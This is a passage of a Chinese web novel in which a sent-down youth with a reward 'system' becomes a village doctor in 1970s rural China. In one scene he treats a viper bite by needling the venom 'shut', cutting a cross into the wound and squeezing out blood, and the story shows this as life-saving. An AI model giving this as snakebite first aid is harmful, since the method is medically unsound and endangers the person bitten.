孙志小心翼翼地将那份写满了惊艳答案的卷子放回桌上,长长地吐出一口浊气,眼神复杂得像一团乱麻。 “蒙的?老周,你这回是捡到宝了!”孙志的声音不大,却掷地有声,“刚才我惜才,想把他留在咱们公社卫生院,你知道这小子怎么回我的?” 李有柱的心一下提到了嗓子眼,生怕到嘴的鸭子飞了。 孙志没卖关子,一字一句,清晰地复述着江沐的话:“他说,二大队的乡亲们,比公社更需要医生。——你们听听!这觉悟!这心胸!” 他重重一拍大腿,语气里满是藏不住的赞赏:“你们俩可给我听好了!这么一棵好苗子,以后要是让他受了半点委屈,别怪我老孙翻脸不认人!” “那不能够!”李有柱唾沫星子都快飞出来了,“院长您就瞧好吧!只要我李有柱还在二大队一天,就绝不让小江大夫受半点气!” 周志康也是满脸红光,与有荣焉。 孙志满意地点点头,将那份刚刚填好的入职材料推到周志康面前。 “行了,你这公社一把手的章,也该盖上了。盖完,他就是我卫生院的人,受我们系统管辖了。” 周志康二话不说,从上衣口袋里掏出那枚沉甸甸的铜章,蘸足了印泥,干脆利落地盖了下去。 鲜红的印记落在江沐的名字旁边,这事儿,就算板上钉钉了。 孙志将材料妥善收好,这才转向一直静立一旁的江沐,目光温和了许多。 “走,江沐同志,跟我来,领些基础的听诊器、血压计和常用药。对了,” 他像是想起了什么,郑重地叮嘱道,“你虽然医术过硬,但这行医资格证,有条件还是尽快办下来。” 江沐心中一动。这确实是个问题。 但有一个人,或许能走捷径。 他抬起头,目光清澈:“孙院长,能借您办公室的电话用一下吗?我想往京城打一个。” “京城?”孙志微微一愣,随即爽快地一挥手,“用!随便用!” 回到办公室,孙志亲自为他摇通了长途总机。 在漫长的等待后,电话那头终于传来一个熟悉又略带疲惫的声音。 “喂,哪位?” 江沐握着冰凉的话筒,心中毫无波澜,语气平淡得像在说一件与自己无关的事:“喂,是我。” 电话那头沉默了足足三秒,紧接着,江东山又惊又喜的声音炸响开来,带着不易察觉的颤抖:“小沐?是你?你……你在陕州还好吗?钱够不够花?缺不缺粮票?身体怎么样?有没有受欺负?” 一连串的问句,透着一股笨拙而深切的关切。 江沐却没有回应这份迟来的父爱,他直接切入了正题:“我挺好。找您有件事,我需要一个行医资格证,您能帮我办吗?” 电话那头的关心戛然而止,取而代之的是毫不犹豫的果决:“能!当然能!这事儿包在爸身上!你直接告诉我现在办公室的地址,我办好了托人给你直接邮过去!” 江沐的冷静,衬得江东山的急切愈发明显。 他似乎想用这种方式,来弥补内心的亏欠。 “陕州,邹县,青莲公社卫生院。”江沐言简意该地报出地址,“那就这样,我挂了。” “哎,等等!”江东山急忙喊住他,语气近乎哀求,“小沐,别急着挂!你……你让你们院长听个电话,行吗?” 江沐把话筒递给了旁边一直竖着耳朵听的孙志。 孙志接过电话,态度立刻变得恭敬起来:“喂,您是……江副院长?” 电话里,江东山客气而诚恳地拜托着,希望孙志能多多关照自己这个不成器的儿子。 孙志自然是满口答应,连连保证会把江沐当亲侄子一样看待。 挂断电话,办公室里的气氛有些微妙。 李有柱是个粗人,但也咂摸出味儿来了,他带着江沐,乐呵呵地告辞:“书记,院长,那俺们就先回去了!” 两人走后,办公室里只剩下周志康和孙志。 周志康再也憋不住了,凑到孙志跟前,压低了声音,脸上写满了八卦与好奇:“老孙,你给我交个底,这江家……到底什么来头?听那口气,京城来的大官?” 孙志瞥了他一眼,慢悠悠地吐出几个字,却重如千斤。 “什么来头?是我们俩加起来,都惹不起的来头。” 周志康倒吸一口凉气,后背瞬间沁出一层冷汗。 孙志端起搪瓷缸子喝了口浓茶,斜睨着他:“你呢?事儿都办完了,还赖我这儿不走,想蹭我晚饭?” 周志康嘿嘿一笑,神情瞬间变得有些扭捏和尴尬。 他做贼似的从怀里掏出那张叠得方方正正的药方,小心翼翼地递过去。 “老孙,你再帮我长长眼,这……这方子,没啥问题吧?” 孙志接过纸,本是随意一瞥,可目光刚一接触到上面的字,瞳孔便猛地一缩! 他脸上的从容瞬间消失,取而代之的是惊涛骇浪般的震撼! “这……这方子……用药之霸道,配伍之精妙,简直是神来之笔!” 他手指都有些发颤,猛地抬头,死死盯住周志康,“老周!你从哪位高人手里求来的这副神方?!” 周志康被他的反应吓了一跳,下意识地指了指门外:“就……就刚刚那个,江沐啊。” “他?!” 孙志整个人都僵住了! 他反复看着手里的药方,又回想着江沐那张年轻却古井无波的脸,嘴里喃喃自语:“我……我真是老眼昏花了!这哪里是块璞玉,这分明是座玉山!这等医术,怕是县中医院那几个老家伙加起来,都得靠边站!” 【叮!来自孙志的震惊与赞叹,声望值+50!】 【当前声望值:171!】 江沐脑中系统提示音一闪而过,他却浑然未觉。 此刻,他和李有柱已经走出了公社大院。 两人直奔供销社,买了一口大铁锅,几个粗瓷海碗,瓢盆筷子,油盐酱醋……零零总总,花了将近五十块钱。 这笔钱,对普通庄稼人来说,不啻于一笔巨款。 东西实在是太多太沉,自行车根本载不了。 两人只能一人扛着一口锅,手里拎着大包小包,深一脚浅一脚地往二大队走。 两个多小时的山路,回到村口时,天色已经擦黑。 李有柱把肩上的铁锅卸下来,抹了把汗,喘着粗气对江沐摆摆手:“小江大夫,你先把东西送回去拾掇拾掇,完了来我办公室一趟。我得去找趟高书记,把你的事儿跟他碰一下。” 第13章 这世道,人心有时候比糖更甜 江沐把东西安置妥当,回头望向大队长的办公室,李有柱那大嗓门已经喊了起来。 “都过来搭把手!愣着干啥?给咱们小江大夫收拾卫生室!” 话音未落,几个精壮的汉子就被他从屋里薅了出来。 大队部旁边原本堆放农具的一间杂物间,此刻被彻底清空,一股陈年土腥味混杂着农具的铁锈味扑面而来。 李有柱亲自操着一把大扫帚,呼呼喝喝地指挥着。 不过半小时,屋子就被拾掇得窗明几净。 李有柱叉着腰,环视一圈,脸上是那种泥瓦匠看自家新房的满意神情。 他转头,咧开一口大白牙:“小江大夫,你瞅瞅,咋样?这地方先凑合着用,往后咱们条件好了,再给你盖新的!还缺啥不?!” 江沐心里划过一丝暖流。 他摇了摇头,目光平静而温和:“很好了,李队长。” “哎!好!敞亮!”李有柱重重一拍巴掌,对江沐的识大体越发满意,“就这么定了!以后你就在这儿坐诊!队里给你记工分,一天……一天记满分,十个工分!雷打不动!” 李有柱这才满意地转身,两步走到办公室,拧开了墙上那个老旧的广播喇叭开关。 一阵刺耳的电流声后,李有柱清了清嗓子,对着话筒吼了起来。 “喂喂!二大队的全体社员们都听好了!都听好了啊!” “告诉大伙儿一个天大的好消息!从今天起,咱们大队有自己的医生啦!就是刚来的知青,江沐同志!以后谁家有个头疼脑热、腰酸腿疼的,直接来大队部卫生室找小江大夫就行!” 广播里的声音带着回响,在山谷间久久不散。 江沐回到自己那三间刚修好的土坯房,将供销社买来的东西一一归置。 铁锅上了灶台,碗筷进了橱柜,屋子里渐渐有了烟火气。 他准备烧点热水洗漱,一摸灶膛,才发现一个致命的问题——没柴。 他想了想,转身走向隔壁的赵文家。 院门虚掩着,里面传来几个孩子嬉闹的声音。江沐推门进去,只见赵文家三个半大的小子正围着一只蛐蛐斗得起劲,脸上抹得跟小花猫似的。 领头的正是那个叫赵家传的大儿子,他一见江沐,立刻站得笔直,有些拘谨地喊了一声:“江……江大夫。” 江沐笑了笑,从口袋里摸出几颗水果糖,递了过去:“家传,跟你们商量个事。我刚来,家里没柴火,想跟你们换点儿,行吗?” 看到那花花绿绿的糖纸,几个孩子的眼睛瞬间就亮了,口水都快流出来了。 赵家传却猛地摇头,黑瘦的脸上满是认真:“江大夫,你这是说的啥话!几根柴火算个啥!” 他不由分说,转身就往柴火垛跑:“你等着,俺给你送过去!不要糖!说啥也不能要!” 不一会儿,赵家传就抱着一大捆干透的柴火,给江沐送了过来,码放得整整齐齐。 江沐心里暗叹一声,将那几颗糖硬塞进了最小的那个孩子手里。 这世道,人心有时候比糖更甜。 简单地吃过晚饭,江沐便提着马灯,来到了刚刚收拾好的卫生室。 他没想到,刚一推开门,就发现里面已经坐了四个人,正眼巴巴地朝门口望着。 一个五十多岁的大妈一见他,立刻站了起来,脸上堆着既热情又有些忐忑的笑:“哎呦,是小江大夫吧?俺……俺听广播里说的,就寻思着过来瞅瞅。俺这几天呐,老觉得身上不得劲,忽冷忽热的。” 江沐点点头,示意她坐下,拿出听诊器,又量了血压,仔细问了问症状。 “大妈,问题不大,就是有点风寒感冒,加上劳累过度。”江沐的诊断干脆利落,“打一针,回去好好睡一觉,明天就没事了。” “打针?”大妈一听,脸有点白了。 江沐手脚麻利地拿出一次性注射器和药水,消毒、抽药、排气,动作行云流水,一气呵成。 还没等大妈反应过来,他已经轻轻拍了拍她的胳膊:“好了。” 【叮!来自王桂芬的感激与信赖,声望值+20!】 【当前声望值:191!】 大妈愣了半天,她活动了一下,满脸惊奇:“这就……完事了?比蚊子叮一下还轻快!” 她从兜里掏了半天,摸出几张被汗浸得有些发软的毛票,小心翼翼地递过来:“大夫,多少钱?” 江沐将用过的针管处理好,淡淡一笑:“大妈,咱们这是合作医疗室,看病不收钱,药费也是公社统一划拨的。” “不要钱?!” 不仅是王桂芬,另外三个等着看病的村民也全都瞪圆了眼睛,满脸的不敢置信! 这天底下,哪有看病不花钱的好事?! 王桂芬千恩万谢地走了,另外三人也抱着试一试的心态让江沐看了看,无非是些陈年旧疾。 江沐一一做了诊断,开了些手头的常用药。 这四个人一离开,把二大队来了个神医,看病一分钱不要的消息传遍了村子的每个角落。 一传十,十传百。 半个小时不到,卫生室门口就黑压压地围了一大群人! 有真心来看病的,但更多的是来看热闹的,差点把门槛都给踩平了。 “都让让!让让!干啥呢?赶集啊!” 李有柱雄浑的嗓门及时响起,三下五除二就把那些纯粹看热闹的给轰走了。 “有病就排队!没病就回家睡觉去!别耽误小江大夫干正事!” 人群散去,卫生室里总算清净下来。 江沐检查了一圈,发现都是常年劳作留下的风湿劳损。 只可惜,他手里没有活血化瘀的膏药,只能暂时爱莫能助。 李有柱看着这一幕,黝黑的脸上浮起愧疚和不好意思:“小江大夫,你别见怪。大伙儿……大伙儿好不容易盼来个您这样的好大夫,还不要钱,就……就都激动坏了。” 江沐点了点头,表示理解。 李有柱见他没有生气,心里的大石才落了地。他郑重地看着江沐,眼神里满是真诚的感激:“小江大夫,俺代表青莲公社二大队三百多口子人,谢谢你!” 江沐摆了摆手:“这是我应该做的。” 眼看暂时没了病人,江沐想起家里的柴火还不太够,便起身准备离开。 “李队长,没什么事的话,我想到附近砍些柴。” “砍柴?”李有柱连忙拦住他,神情严肃地叮嘱,“就在村子附近转转就行,可千万别往深山里去!那里面不安生!” 他又像是想起了什么,一拍脑门:“瞧我这记性!你那屋里还没通电吧?你等着,我明儿就去找电工,说啥也得先从大队部拉根线过去,让你那儿先亮起来!” 第14章 整点野味改善改善伙食! 谢过李有柱,转身便朝着赵文家走去。 “赵大哥,在家吗?想跟你借把斧子用用。” 院子里,赵文正蹲在地上编着一个破旧的箩筐,听到声音猛地抬头,见是江沐,连忙拍拍手上的草屑站了起来,脸上堆满了憨厚的笑。 “哎呀,是小江大夫!啥借不借的,你等着,俺这就给你拿!” 他转身进屋,很快就拎着一把刃口上满是豁口的旧斧子出来,斧柄被磨得油光发亮。 江沐接过斧子掂了掂,分量不轻。 他没多说什么,道了声谢,便径直朝着村后那片山林走去。 山路崎岖,走了约莫一刻钟,江沐看中了一棵歪脖子老槐树,他挽起袖子,深吸一口气,抡圆了胳膊,用尽全身力气狠狠劈了下去! 一声沉闷的巨响,震得他虎口发麻,手臂一阵酸软。 再看那老槐树,斧刃劈砍过的地方,只留下了一道浅浅的白印。 江沐皱了皱眉,这效率未免也太低了。按这个速度,天黑也砍不了一捆柴。 就在这时,他脑海中灵光一闪。 他记得,之前新手大礼包抽奖,除了固元丹和一些基础物资,好像还有一个……毫不起眼的东西。 心念一动,系统界面瞬间在眼前展开。 他略过那些琳琅满目的药品和器械,目光直接锁定在了储物格的一个角落。 那里,正静静地躺着一把造型古朴奇特的短刀。 【物品:大马士革刀】 【介绍:以古代特殊工艺锻造而成,锋利无匹,削铁如泥。】 就是它! 江沐心中一动,意念下达指令,那把大马士革刀瞬间出现在他手中。 他环顾四周,目光落在脚边一块拳头大的青石上。 他蹲下身,右手握刀,轻轻一划。 青石被平平整整地分成了两半,切口光滑如镜, 削铁如泥……这四个字,他今天才算真正见识到! 他站起身,再次面对那棵老槐树。 这一次,他没有再用那把钝斧,而是将大马士革刀握在手中,对着刚才的砍痕,随手一挥! 碗口粗的树干,应声而断! 断口处平滑得能照出人影! 江沐彻底被这把神兵利器的威力给震撼了。 他不再迟疑,手中短刀上下翻飞,粗壮的树干被他轻而易举地分解成一截截长短均匀的木段。 不到半小时,整棵老槐树就被他处理得干干净净。 望着眼前堆积如山的柴火,江沐嘴角勾起一抹笑意。 他心念一动,将大部分柴禾都收进了系统储物空间。 他故意留下一大捆在外面,用草绳捆好,这才扛在肩上,慢悠悠地走回了村子。 回到自家小院,他将柴禾整齐地码放在灶房墙角,这才算彻底安下心来。 简单地歇了口气,眼看太阳偏西,差不多到了下午五点,江沐锁好院门,再次来到了大队部的卫生室。 刚一走近,他就愣住了。 原本昏暗的卫生室里,此刻竟然亮着一盏明晃晃的灯! 不仅如此,靠墙的位置,还多了一张用木板搭起来的单人床。 李有柱的效率,当真是雷厉风行! 门口,几个脑袋瓜探头探脑地往里瞧,都是些七八岁的半大孩子,脸上脏兮兮的,眼神里充满了对这个新地方的好奇。 江沐玩心忽起,从兜里摸出一个消过毒的空针管,对着他们比划了一下,故意板起脸。 “谁不听话,就过来打针!” “啊——!” 孩子们轰然散开,跑得比谁都快,只留下一串清脆的笑声。 江沐失笑地摇摇头,搬了条板凳,就坐在卫生室门口的空地上。 没过多久,那群被吓跑的孩子又小心翼翼地凑了回来,只是这次不敢靠得太近,远远地围成一个半圆,用乌溜溜的大眼睛偷偷打量他。 江沐也不理他们,自顾自地开口,声音不大,却清晰地传入每个孩子的耳朵。 “你们去过京城吗?知道天安门吗?那城楼可高了,红墙黄瓦,上面还挂着一个巨大的主席像……” 孩子们一开始还只是好奇,渐渐地,就被他口中所描绘的那个宏伟世界吸引了。 他们从没听过这些,一个个听得小嘴微张,眼神里满是向往。 江沐见时机差不多了,从口袋里变戏法似的抓出一大把花花绿绿的水果糖,朝他们扬了扬。 孩子们先是一愣,随即爆发出巨大的欢呼声,一窝蜂地冲了上来,瞬间将江沐围得水泄不通。 一颗糖下肚,那甜滋滋的味道立刻就俘获了这群野小子的心。 他们再也不怕江沐了,叽叽喳喳地围着他,一个个都把他当成了无话不谈的好朋友。 夕阳西下,炊烟袅袅。 上工的社员们扛着锄头陆续回来,他们过来接走孩子,还不忘对着江沐连声道谢。 李有柱也从大队部走了出来,看着这和谐的一幕,咧着嘴直乐。 “小江大夫,你跟孩子们还挺投缘嘛!对了,你那屋里还没被褥吧?俺等会儿让俺家那小子李振国给你送一套新的过去!” 江沐正要推辞,便见高建设走过来。 “队长,江大夫。”高建设冲两人点了点头,算是打了招呼。 “建设啊,又准备去下套子?”李有柱随口问了一句。 高建设的嗯了一声,目光转向江沐,眼神里带着几分探究:“江大夫,晚上有空不?一起去山里下几个套子,整点野味改善改善伙食?” 野味? 江沐的眼睛瞬间亮了。 在这缺油少肉的年代,这可是天大的诱惑! “去!当然去!”他立刻答应下来,没有丝毫犹豫。 江沐迅速锁好卫生室的门,跟着高建设就往山里走。 一路上,高建设手脚麻利地将一根削尖的木棍钉入土中,系上铁丝做成的活扣,再用杂草和树叶巧妙地伪装起来。 整个过程行云流水,快得让人眼花缭乱。 “下套子急不得,得有耐心。今天下了,明儿一早再来看,心急吃不了热豆腐。” 两人一口气下了十个套子,高建设才拍了拍手上的土,直起身子。 “行了,回去吧。明天一早,咱俩再过来瞧瞧。” 第二天,天刚蒙蒙亮,江沐和高建设就再次进了山。 刚走到第一个套子附近,还没等靠近,就听到草丛里传来一阵挣扎声。 两人对视一眼,快步走了过去。 只见草丛里,一只肥硕的野兔正被铁丝牢牢地勒住后腿,拼命地蹬着腿,想要挣脱。 “嘿!开门红!”高建设眼睛一亮,上前一把就将兔子拎了起来,在手里掂了掂,咧嘴一笑,“好家伙,足有五斤重!今天有口福了!” 接下来的收获,简直可以用惊人来形容。 两人沿着昨天布下的路线一路收过去,十个套子,竟然有七个都有收获! “江大夫,俺在山里跑了十几年,还从没见过运气这么好的!” 第15章 没有咱们,他什么也不是 高建设扛着一串兔子,江沐跟在身后。 一路上,高建设的嘴就没合拢过。 “江大夫,你这运气,真是邪了门了!俺在这山里下了十几年套子,头一回见着这么大的阵仗!” 江沐只是淡然一笑,并未多做解释。 此时村里静悄悄的,社员们都下地挣工分去了。两人径直回了江沐刚盘下来的那个小院。 院子里,高建设把手里的兔子往地上一扔,豪爽地一挥手。 “小江,咱俩今天发了笔横财!一共七只,你三只我四只,就这么分!” 说着,他便挑了三只最肥的野兔,拎出来递给江沐。 江沐连忙摆手,他一个单身汉,哪里吃得了这么多肉。 在这年代,肉是精贵东西,吃不完放着就坏了,简直是暴殄天物。 “建设哥,这可使不得,我就一个人,给我一只尝尝鲜就够了。” “那哪儿成!”高建设把眼一瞪,蒲扇般的大手直接把兔子往江沐怀里塞,“你当哥哥我小气?要不是你,别说七只,今天连根兔毛都见不着!拿着!” 两人推搡了半天,江沐拗不过这个实在的汉子,最后只能各退一步。 “这样吧,建设哥,你给我留两只活的,我试试看能不能养起来,剩下的你都拿走,家里嫂子孩子还等着改善食呢。” 高建设一听,觉得这主意不错,便挑了两只挣扎得最厉害的,用绳子把后腿捆结实了,放在了江沐的院角。 送走了高建设,江沐看着墙角那两只惊恐不安的兔子,心里盘算起来。 他找来一些之前修房子剩下的碎砖烂瓦,在院子另一头靠墙的地方,手脚麻利地给它们搭了个简易的兔窝。 可吃什么呢?总不能天天去割草吧? 他心念一动,唤出了系统商城。 在琳琅满目的商品中,他很快找到了目标。 【宠物通用饲料(初级):富含多种维生素及微量元素,能促进动物生长,增强免疫力。售价:1声望值/公斤。】 简直是为他量身定做的! 江沐毫不犹豫地兑换了两公斤,一把黄褐色的颗粒状饲料瞬间出现在他手中。 他抓了一把饲料,丢进刚搭好的兔窝里。 那两只原本还蔫头耷脑的兔子,鼻子抽动了两下,眼睛瞬间就亮了。 江沐蹲下身,小心翼翼地解开它们腿上的绳子。绳子勒得太紧,已经嵌进了皮肉里,渗出了血丝。 重获自由的兔子非但没跑,反而更专注地埋头猛吃,仿佛这世上再没有比这更好吃的东西。 “这么香?”江沐的好奇心被勾了起来。 这饲料到底是什么神仙味道? 他捏起几粒,像品尝什么珍馐美味一样,郑重地放进嘴里。 细细咀嚼。 “嗯,青草味,口感嘎嘣脆。” 江沐一本正经地给出了评价。 他从系统里兑换了些碘伏和棉签,给两只兔子的伤口做了简单的消毒处理,又用一个破陶碗装了些清水放在旁边,便不再管它们。 只要能养活,以后在这缺油少肉的年代,他就等于有了一个源源不断的移动肉库! 收拾妥当,江沐锁好院门,施施然地朝着大队部的卫生室走去。 还没到门口,就看见那群野小子已经像盼星星盼月亮一样,眼巴巴地等在那儿了。 “江大夫来了!” “江叔叔!” 孩子们一拥而上,叽叽喳喳地围着他。 江沐笑着把卫生室的门打开,简单打扫了一下卫生,便又搬着小板凳坐在门口,开始绘声绘色地讲起了《西游记》的故事。 从美猴王出世讲到大闹天宫,孩子们听得如痴如醉。 故事讲完,自然是发糖时间。 就在一个叫狗蛋的黑瘦小子把糖塞进嘴里的瞬间,江沐的脑海里跳出了一行提示。 【来自刘狗蛋的感激+1,声望值+1!】 紧接着,提示音如同爆豆子般响个不停。 【来自李二妮的崇拜+1,声望值+1!】 …… 一连十二声提示,不多不少,正好对应着眼前的十二个孩子。 江沐心中一动,原来,刷声望值还可以这么简单?一颗糖就能换一点,这买卖简直血赚! 他按捺住激动,又从口袋里抓出一把糖,笑眯眯地再次分发下去。 “今天表现好,再奖励一颗!” 孩子们欢呼雀跃,可江沐期待的系统提示音,却迟迟没有响起。 他眉头微皱,陷入了沉思。 看来,这声望值不是无限刷的。 每个人每天,似乎只能贡献一次。 具体规则如何,还得明天再试试看。 与此同时,青莲公社的田埂上,另一群人却完全是另一番光景。 陈小军扶着锄头,直起酸痛得快要断掉的腰,汗水顺着脸颊流下,蜇得眼睛生疼,心里那股无名火冒了上来。 凭什么? 凭什么大家一样是来接受贫下中农再教育的,他江沐就能舒舒服服地当个大夫,吹着风扇,哄着小孩,每个月还拿着十八块钱的工资! 而他们就得在这烂泥地里,跟黄土坷垃和牛粪打交道! 一个知青啐了口唾沫,满脸的愤愤不平,“那姓江的,真是走了狗屎运!” 陈小军眼神阴郁,压低了声音。 “什么狗屎运,我看他就是会投机取巧!从今天起,咱们都别搭理他,让他自己一个人过去!” “对!孤立他!让他知道,没有咱们,他什么也不是!” 几个知青一拍即合,同仇敌忾起来。 就在他们这边商量着如何排挤江沐时,不远处的另一块地里,突然爆发出一声凄厉的惨叫。 “啊——蛇!有蛇咬我!” 一个正在弯腰割猪草的年轻寡妇张翠兰,猛地跳了起来,抱着自己的小腿,脸色煞白地瘫倒在地。 “翠兰!” 离她最近的李有柱脸色一变,一个箭步就冲了过去,大声吼道,“都别慌!快看看是什么蛇!” 周围的社员们抄起锄头和镰刀,瞬间围了上来。 “队长,蛇钻草里跑了!” “在那边!快!别让它跑了!” 一阵鸡飞狗跳,一个眼疾手快的汉子看准草丛里的动静,一锄头狠狠砸了下去! 草屑纷飞,一条不到一尺长,通体焦黄色,背有方胜纹的毒蛇被砸成了两段,兀自疯狂地扭动着。 “我的天爷!是五步蛇!”一个老农看清了蛇的样子,倒吸一口凉气,声音都发了颤。 李有柱的心脏瞬间沉到了谷底,他二话不说,背起已经开始神志不清的张翠兰,对着众人嘶吼。 “快!去卫生室!找江大夫!” 他迈开双腿,以前所未有的速度,风风火火地朝着大队部狂奔而去。 江沐一抬头,就看见李有柱冲了过来,背上还背着一个面色发紫、嘴唇乌黑的女人。 “江大夫!救命啊!快救命!” 第16章 我只在外围转转,不会深入 江沐瞳孔骤然一缩,来不及多想,一个箭步上前扶住摇摇欲坠的李有柱。 “怎么回事?!” 李有柱喘着粗气,汗水混着尘土从黝黑的脸膛上滚落,嘴唇都在哆嗦。 “蛇!江大夫……翠兰她……她被蛇咬了!” 他背上的张翠兰已经面如金纸,嘴唇发紫,小腿上两个清晰的牙印正向外渗着黑血。 她神智尚存清明,看到江沐,用尽全身力气哭着哀求。 “江大夫……救救我……求你救救我……我家里还有个老的……还有个小的啊……我不能死……我不能死啊……” 高建设冲了进来,手上还拎着一条被打成两截、却依旧能看出狰狞花纹的死蛇。 “小江!是五步蛇!”高建设将蛇往地上一扔。 五步蛇三个字一出,卫生室门口围观的社员们齐齐倒吸一口凉气。 一瞬间,所有人的目光都聚焦在了江沐身上。 江沐的眼神却在那一刻变得锐利如刀。 尖吻蝮,血液循环和神经混合毒,发作极快,致死率极高! 他没有半分迟疑,对着李有柱一声低喝。 “把人平放在地上,快!” 李有柱如梦方醒,手忙脚乱地将张翠兰平放在地上。 江沐二话不说,从随身的布包里抽出一个针袋摊开。 他看准张翠兰膝盖上方的几处穴位,手指翻飞,几根银针刺入,整个动作行云流水,没有丝毫拖沓。 这是金针锁脉,暂时封住毒素上行的通路,为后续治疗争取宝贵的时间! 做完这一切,他头也不抬,对高建设命令道。 “建设哥,帮我按住她的腿,别让她乱动!” 随后,他从药箱里取出一柄锋利的手术刀,在烛火上简单燎烤消毒,蹲下身,对着那两个狰狞的牙印,眼神没有任何波动。 刀锋一闪! 他在伤口处划开一个十字,黑紫色的毒血立刻汩汩地涌了出来,带着一股腥臭。 江沐面不改色,用手从伤口上方用力向下挤压,加速毒血排出。 终于,当流出的血液从黑紫色渐渐转为鲜红,江沐才松了口气。 他迅速用干净的纱布和草药敷料将伤口包扎起来。 他站起身,擦了擦额头的薄汗,看向一脸煞白的李有柱,语气严肃。 “队长,记住了,以后再有谁被毒蛇咬伤,千万不能像你这样背着人狂奔!剧烈运动只会加速血液循环,让蛇毒更快攻心,那是催命!” 李有柱听得后背发凉,连连点头,像个挨训的小学生。 【叮!恭喜宿主成功救治急危重症患者张翠蘭,展现高超医术,收获大量敬畏与感激,声望值+50!】 系统的提示音在脑海中响起,江沐心中微定。 他转向已经缓过劲来,脸色恢复些许血色的张翠兰,温声叮嘱。 “这几天伤口不要碰水,饮食要清淡,忌辛辣发物。蛇毒虽然清除了大半,但身体还很虚弱。”他顿了顿,补充了一句,“县医院应该有抗蛇毒血清,如果能去打一针,就彻底稳妥了。” 李有柱和张翠兰都明白,江沐这番话,等同于从阎王手里把命抢了回来。 中午,江沐回到小院,刚用开水泡了两个窝头,就着咸菜准备对付一顿,院门就被人敲响了。 李有柱扶着张翠兰走了进来。 张翠兰手里挎着个小篮子,里面小心翼翼地放着七八个鸡蛋,上面还沾着些许草屑。 “江大夫!”张翠兰一见他,眼圈就红了,声音哽咽,“大恩不言谢……要不是你,我这条命今天就交代了。家里实在没什么好东西,这点土鸡蛋,你务必收下,给您补补身子!” 这年头,鸡蛋就是硬通货,是能给孩子和老人换命的东西。 江沐立刻摆手。 “嫂子,这使不得!治病救人是我的本分,哪能收你的东西。” “江大夫,您要是不收,就是看不起我张翠兰!”张翠兰性子也烈,直接把篮子往桌上一放,“我这条命,难道还不值这几个鸡蛋?” 两人推拒了半天,李有柱也在一旁帮腔,江沐见实在推脱不过,只好收下。 送走两人,看着桌上的鸡蛋,江沐陷入了沉思。 这次是五步蛇,他有金针和手术刀,加上运气好,才救了回来。 可这山里毒虫猛兽何其多? 万一下次遇到更棘手的病症,没有对症的草药,他就是医术通天也束手无策。 一个念头在他心里逐渐清晰——他必须进山采药!备一些常用的止血、解毒、消炎草药,以备不时之需。 想到就做,江沐锁上门,径直找到了正在大队部合计工分的李有柱。 他把自己的想法一说,李有柱的脑袋摇得像拨浪鼓。 “不行!绝对不行!江大夫,你可不敢有这想法!那山里头邪乎得很,你一个城里来的娃娃,进去不是送菜吗?” “队长,我有分寸。”江沐的态度很坚决,“我只在外围转转,不会深入。” 李有柱看着江沐清澈而坚定的眼神,知道这事劝不住了。 “得!你非要去,俺也拦不住,这样,队里有个叫陈翔的,是把打猎的好手,我带你去找他,以后你要上山,必须得让他领着!” “那就多谢队长了。” 李有柱办事干脆利落,当即就领着江沐,往村西头的一处破旧泥屋走去。 一个精瘦黝黑的汉子正坐在门口磨着一把柴刀,见到李有柱,他站起身,咧嘴一笑,露出一口白牙。 “队长,啥风把你吹来了?” “陈翔,给你介绍一下,这是咱们队新来的江大夫。”李有柱指了指江沐,开门见山,“江大夫想进山采点草药,你经验足,以后他要上山,你务必带上他,保证他的安全,这事算你半天工分!” “行,没问题!江大夫啥时候想去,提前跟我说一声就成!” 事情敲定,江沐回到卫生室。 一下午再无病人,江沐乐得清闲。 陈小军等人挥汗如雨,累得直不起腰。 他们远远地看着大队部那边,江沐那悠闲自在的身影,嫉妒的毒火在胸膛里熊熊燃烧。 “妈的,人比人气死人!咱们在这儿累死累活,他倒好,动动嘴皮子,救了个人,名声和好处全占了!” “谁说不是呢?听说张翠兰家还提着鸡蛋去谢他了!” 可是他们没本事。 是啊,他们除了嫉妒,什么也做不了。 在这个人命比天大的地方,江沐掌握的,是他们望尘莫及的、最硬核的生存技能。 第17章 你那后妈……对你好不? 第二天,天刚蒙蒙亮。 江沐一夜无梦,醒来时只觉得神清气爽。 他简单洗漱后,心里惦记着那两只野兔,便径直走向院角临时搭建的兔窝。 然而,眼前的景象让他眉头瞬间拧紧。 兔窝里静悄悄的,两只兔子四肢僵硬地躺在草垫上,肚子鼓胀得像两个小皮球,早已没了气息。 竟然全死了? 江沐蹲下身,检查了一下兔子的尸体,随即了然。 看来是那初级宠物饲料的能量太足,而野兔的肠胃又脆弱,昨晚吃得太猛,活活把自己给撑死了。 他不禁苦笑一声,这系统出品的东西,果然不能用常理揣度。 蚊子腿再小也是肉啊。 他心中暗忖,左右无人,意念一动,两只肥硕的兔子尸体便凭空消失,被他收进了系统储物格。 这可是纯天然无污染的野味,留着日后改善伙食正好。 刚处理完,院门外就传来一阵沉稳的脚步声。 “江大夫,收拾好了没?” 是陈翔。 江沐打开院门,只见陈翔一身干练的旧布衣,脚上是自己纳的千层底,背上背着一个半人高的竹篓,肩上还挎着一把油光锃亮的旧式猎枪。 他整个人就像一柄出了鞘的刀,沉默却锋利,与身后的苍茫大山融为一体。 “陈大哥,早。”江沐也已准备妥当,背上了自己的背篓,手里还拿了把借来的小锄头,“随时可以出发。” 两人不再多言,一前一后,迎着朝阳,踏上了通往深山的路。 山路崎岖,布满碎石和盘根错节的树根。 陈翔走在前面,脚步稳健得像在平地上,江沐跟在后面,虽有些吃力,却也咬牙跟得紧。 “陈大哥,这山里一般能见着些啥草药?”江沐喘了口气,主动开口。 陈翔头也不回,声音从前方传来,带着山野的粗粝。 “俺是个粗人,认得不多。就知道些治跌打损伤的,村里人都管叫太白七,具体叫啥名俺也说不上来。那玩意儿漫山遍野都是,不值钱。” 他顿了顿,似乎想起了什么,话音里多了几分向往。 “要是运气好,能挖着一根老山参,那可就发了!前年隔壁王家坳有个人,就挖到一根,巴掌长,拿到县里药铺,卖了三百多块钱!啧啧,盖三间大瓦房都够了!” 三百多块! 江沐心中微动。 在这个工人月薪普遍只有二三十块的年代,这无疑是一笔足以改变一个家庭命运的巨款。 难怪那么多人冒着风险也要进山。 不知不覺,两人已经深入山林。 四周的光线暗了下来,参天古木遮天蔽日,空气中弥漫着潮湿的泥土和腐叶的气息。 “进了这儿,就别离我太远。”陈翔停下脚步,眼神锐利地扫视着四周,压低了声音,“山里头,啥邪乎事都有。” 江沐郑重点头。 两人稍稍分开些距离,开始各自搜寻。 陈翔的目的是猎物,而江沐的目标很明确——活血化瘀、消肿止痛的草药。 他的专业知识在这一刻发挥了巨大作用。 